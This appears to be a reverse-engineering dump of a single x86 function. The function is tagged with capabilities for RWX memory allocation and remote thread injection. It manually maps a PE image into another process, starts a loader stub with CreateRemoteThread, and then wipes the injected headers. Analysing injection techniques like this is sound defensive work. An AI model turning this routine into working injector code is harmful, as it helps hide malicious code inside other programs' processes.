Function at 0x401580
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1048
call fcn.0043db70
mov eax, dword [0x455008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1038], eax
mov ecx, dword [ebp - 0x1038]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1018], edx
mov eax, dword [ebp - 0x1018]
add eax, 0x18
mov dword [ebp - 0x1044], eax
mov ecx, dword [ebp - 0x1018]
add ecx, 4
mov dword [ebp - 0x103c], ecx
mov edx, dword [ebp - 0x1038]
movzx eax, word [edx]
cmp eax, 0x5a4d
je 0x4015e7
xor al, al
jmp 0x401994
mov ecx, dword [ebp - 0x103c]
movzx edx, word [ecx]
cmp edx, 0x14c
je 0x4015ff
xor al, al
jmp 0x401994
push 0x40
push 0x3000
mov eax, dword [ebp - 0x1044]
mov ecx, dword [eax + 0x38]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1008], eax
cmp dword [ebp - 0x1008], 0
jne 0x401632
xor al, al
jmp 0x401994
push 0
push 0x1000
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x1008]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401671
push 0x8000
push 0
mov eax, dword [ebp - 0x1008]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x401994
mov edx, dword [ebp - 0x1018]
movzx eax, word [edx + 0x14]
mov ecx, dword [ebp - 0x1018]
lea edx, [ecx + eax + 0x18]
mov dword [ebp - 0x100c], edx
mov dword [ebp - 0x101c], 0
jmp 0x4016b5
mov eax, dword [ebp - 0x101c]
add eax, 1
mov dword [ebp - 0x101c], eax
mov ecx, dword [ebp - 0x100c]
add ecx, 0x28
mov dword [ebp - 0x100c], ecx
mov edx, dword [ebp - 0x103c]
movzx eax, word [edx + 2]
cmp dword [ebp - 0x101c], eax
je 0x401713
mov ecx, dword [ebp - 0x100c]
cmp dword [ecx + 0x10], 0
jne 0x4016d5
jmp 0x401697
push 0
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 0x100c]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx + 0x14]
push edx
mov eax, dword [ebp - 0x100c]
mov ecx, dword [ebp - 0x1008]
add ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401711
jmp 0x401652
jmp 0x401697
xor eax, eax
mov dword [ebp - 0x1034], eax
mov dword [ebp - 0x1030], eax
mov dword [ebp - 0x102c], eax
mov dword [ebp - 0x1028], eax
mov dword [ebp - 0x1024], eax
mov dword [ebp - 0x1020], eax
mov ecx, dword [ebp - 0x1008]
mov dword [ebp - 0x102c], ecx
mov edx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1030], edx
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1034], eax
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0x1028], ecx
push 4
push 0x3000
push 0x18
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1010], eax
cmp dword [ebp - 0x1010], 0
jne 0x40178e
jmp 0x401652
push 0
push 0x18
lea eax, [ebp - 0x1034]
push eax
mov ecx, dword [ebp - 0x1010]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4017cb
push 0x8000
push 0
mov eax, dword [ebp - 0x1010]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x401652
push 0x40
push 0x3000
push 0x1000
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1014], eax
cmp dword [ebp - 0x1014], 0
jne 0x4017f4
jmp 0x4017ae
push 0
push 0x1000
push 0x4012b0
mov eax, dword [ebp - 0x1014]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401832
push 0x8000
push 0
mov edx, dword [ebp - 0x1014]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x4017ae
push 0
push 0
mov ecx, dword [ebp - 0x1010]
push ecx
mov edx, dword [ebp - 0x1014]
push edx
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x1040], eax
cmp dword [ebp - 0x1040], 0
jne 0x401863
jmp 0x401815
mov ecx, dword [ebp - 0x1040]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 1
test edx, edx
je 0x4018e9
xor eax, eax
mov dword [ebp - 0x1034], eax
mov dword [ebp - 0x1030], eax
mov dword [ebp - 0x102c], eax
mov dword [ebp - 0x1028], eax
mov dword [ebp - 0x1024], eax
mov dword [ebp - 0x1020], eax
push 0
push 0x18
lea ecx, [ebp - 0x1034]
push ecx
mov edx, dword [ebp - 0x1010]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x4018c4
jmp 0x401815
movzx ecx, byte [ebp - 0x1024]
test ecx, ecx
je 0x4018df
cmp dword [ebp - 0x1020], 1
je 0x4018dd
jmp 0x401815
jmp 0x4018e9
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401870
push 0x1000
push 0
lea edx, [ebp - 0x1004]
push edx
call fcn.0041d2e0
add esp, 0xc
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
mov ecx, dword [ebp - 0x1008]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401927
jmp 0x401815
lea eax, [ebp - 0x1048]
push eax
push 0x20
push 0
mov ecx, dword [ebp - 0x1008]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
mov ecx, dword [ebp - 0x1014]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
mov eax, dword [ebp - 0x1010]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov edx, dword [ebp - 0x1014]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041aaae
mov esp, ebp
pop ebp
ret